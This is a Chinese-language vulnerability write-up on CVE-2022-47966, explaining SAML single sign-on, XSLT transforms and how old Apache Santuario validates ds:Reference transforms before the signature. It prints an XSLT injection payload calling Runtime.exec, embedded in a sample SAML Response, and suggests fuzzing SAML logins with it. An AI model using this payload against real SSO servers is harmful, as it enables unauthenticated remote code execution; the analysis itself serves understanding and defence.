前言
CVE-2022-47966 是一个基于 XSLT 转换解析特性,并且由于小于 1.4.2 版本的 Apache Santuario 在验证 SAML Response 的逻辑顺序的不合理导致的未经授权远程命令执行漏洞。而大于此版本的 Apache Santuario 在经过授权后也仍然可能造成 RCE。凡是使用旧版本的 Apache Santuario 来设计单点登录的项目都有可能受到该漏洞的影响。
SSO
SSO 是 “Single Sign-On” 的缩写,指的是单一登录。这是一种身份验证服务,允许用户使用一组凭据(例如用户名和密码)登录到多个应用程序或服务,而无需为每个应用程序单独进行身份验证。SAML(Security Assertion Markup Language) 和 OIDC (OpenID Connect) 是用于实现 SSO 主要的两种标准。
Service Provider (SP) – 服务提供商:实际提供服务的实体,只有授权用户才可访问。SP 通常不负责管理用户的身份信息,依赖 IDP 进行身份验证。
Identity Provider (IDP) – 身份提供商:管理用户的身份信息,通过验证则 IDP 向用户发送令牌。
下面这张图片很好的体现了实现了 SAML 标准的 SSO 认证流程:
XSLT
Transform 指的是 XSLT 是可扩展样式表语言转换(eXtensible Stylesheet Language Transformations)的缩写。XSLT 是 XML 技术栈中的一部分,主要用于定义和执行 XML 文档的转换规则。它能够将一个 XML 文档转换成另一种结构或格式的语言。
而 SSO 中的 SAML Response 的内容为 XSLT 格式。在这 https://developers.onelogin.com/saml/examples/response 可以看到 8 个 SAML Response 的例子。
例如,下面的代码可以将 xml 转换为 html:
package org.example;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.StringReader;
import java.io.StringWriter;
/**
* @author Shule
* CreateTime: 2024/1/19 15:11
*/
public class TestMain {
public static void main(String[] args) {
try {
// XSLT 样式表字符串
String xsltString = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\n" +
" <xsl:template match=\"/\">\n" +
" <html>\n" +
" <body>\n" +
" <p>\n" +
" <xsl:value-of select=\"root/element\"/>\n" +
" </p>\n" +
" </body>\n" +
" </html>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
// XML 文档字符串
String xmlString = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<root>\n" +
" <element>Value</element>\n" +
"</root>";
// 创建 TransformerFactory
TransformerFactory transformerFactory = TransformerFactory.newInstance();
// 使用 TransformerFactory 创建 Transformer 对象
Transformer transformer = transformerFactory.newTransformer(new StreamSource(new StringReader(xsltString)));
// 指定输入 XML 文档和输出结果
StreamSource inputSource = new StreamSource(new StringReader(xmlString));
StringWriter outputWriter = new StringWriter();
StreamResult outputResult = new StreamResult(outputWriter);
// 执行转换
transformer.transform(inputSource, outputResult);
// 获取转换后的结果字符串
String transformedXml = outputWriter.toString();
System.out.println("Transformation complete:\n" + transformedXml);
} catch (Exception e) {
e.printStackTrace();
}
}
}
输出结果为:
Transformation complete:
<html>
<body>
<p>Value</p>
</body>
</html>
对于 xslt 的利用早已被研究过了,https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection,如果将 xslt 修改为
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
那么在解析 xml 的过程中就会执行 calc 的命令。
Apache Santuario
Apache Santuario 是一个实现了 SAML 标准的开源项目,常用于单点登录验证签名的场景。在 J_1_4_1
之前的版本验证签名的方法,也就是org.apache.xml.security.signature.XMLSignature#checkSignatureValue(Key pk)
代码如下,并且可以看到其验证逻辑首先会通过 SignedInfo 验证 _followManifestsDuringValidation
,也就是 XSLT 中 <ds:Reference>
标签的内容。由于 ds:Reference 的值是从 IDP 中获取的,是我们 SSO 的必经之路,这个值是不需要想办法伪造的,只需要我们走一遍 SSO 这个值就肯定是正确的。
因此,我们只需要在 <ds:Reference>
标签内嵌套我们恶意的 xslt,就会导致命令执行。下面是一个示例的 SAML Response :
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<ds:HMACOutputLength>1</ds:HMACOutputLength>
</ds:SignatureMethod>
<ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>/KjOCTrjp+RcRcbirgX6HysSfhM=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>AAAAAA</ds:SignatureValue>
</ds:Signature>
在 J_1_4_2
中进行了一定的修复。你可以看到会先进行签名算法的验证,如果签名不通过,则直接返回。只有通过了才会验证接下来的内容,比如 Reference。这个时候就变成了一个需要授权的 RCE 漏洞。
而 ManageEngine 老版本的产品中广泛使用了旧版本的 Apache Santuario 进行 SSO 的设计。下面的列举的产品均可能受到影响:
Access Manager Plus
Active Directory 360
ADAudit Plus
ADManager Plus
ADSelfService Plus
Analytics Plus
Application Control Plus
Asset Explorer
Browser Security Plus
Device Control Plus
Endpoint Central
Endpoint Central MSP
Endpoint DLP
Key Manager Plus
OS Deployer
PAM 360
Password Manager Pro
Patch Manager Plus
Remote Access Plus
Remote Monitoring and Management (RMM)
ServiceDesk Plus
ServiceDesk Plus MSP
SupportCenter Plus
Vulnerability Manager Plus
由于不同产品的设计有所差异,对 SAML Response 的处理有可能不一样,<ds:Reference>
也不一样,因此该漏洞无法编写出通用的利用代码。不过这个漏洞也给我们带来一些新的思路,当遇到使用 SAML 来设计单点登录的环境,我们可以用上述提到的 payload 进行 fuzz。或许就能打通呢?
本文参考
https://blog.viettelcybersecurity.com/saml-show-stopper/
https://blog.tint0.com/2021/09/pinging-xmlsec.html 这篇文章以 PingFederate 产品为例子,通过 SSO 传入 XSLT 用于获取敏感信息的思路
https://github.com/horizon3ai/CVE-2022-47966/
https://developers.onelogin.com/saml/examples/response
https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
https://mp.weixin.qq.com/s/8CPzHhE-D89Zl9Sel2oTkA
https://github.com/apache/santuario-xml-security-java/tags?after=Release_00_001